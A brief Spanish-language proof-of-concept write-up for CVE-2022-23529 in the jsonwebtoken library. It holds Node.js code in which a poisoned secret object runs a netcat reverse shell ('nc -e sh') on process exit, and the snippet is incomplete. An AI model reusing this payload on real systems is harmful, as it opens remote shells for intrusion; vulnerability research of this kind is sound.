CVE-2022-23529

Las versiones de la librería JSON Web Token (JWT) anteriores a 3.4.6, 4.0.4 y 4.1.5 son vulnerables a RCE.

Las funciones hash HMAC aceptan cualquier cadena como entrada, lo que conduce a RCE.

Debido a las condiciones previas, es probable que esta vulnerabilidad no sea explotable.

Para explotar esta vulnerabilidad, un atacante necesitaría que se cumpla una de las siguientes condiciones:

• El servidor no almacena las claves secretas de forma segura.
• El atacante necesita tener acceso a las claves secretas y controlarlas.

npm install [email protected]

var jwt = require('jsonwebtoken');

create a token using the servers secret

var token = jwt.sign({"x":"y"}, 'servers_secret');

create malicious object containing a reverse shell (node.js)

var poisoned_secret_on_server = { 
    toString : ()=> {console.log('PWNED AFTER PASRSING TOKEN');
        process.on('exit', ()=> {
            require('child_process').exec('nc -e sh 127.0.0.1 9001');
        });
        process.exit(0)
    }
}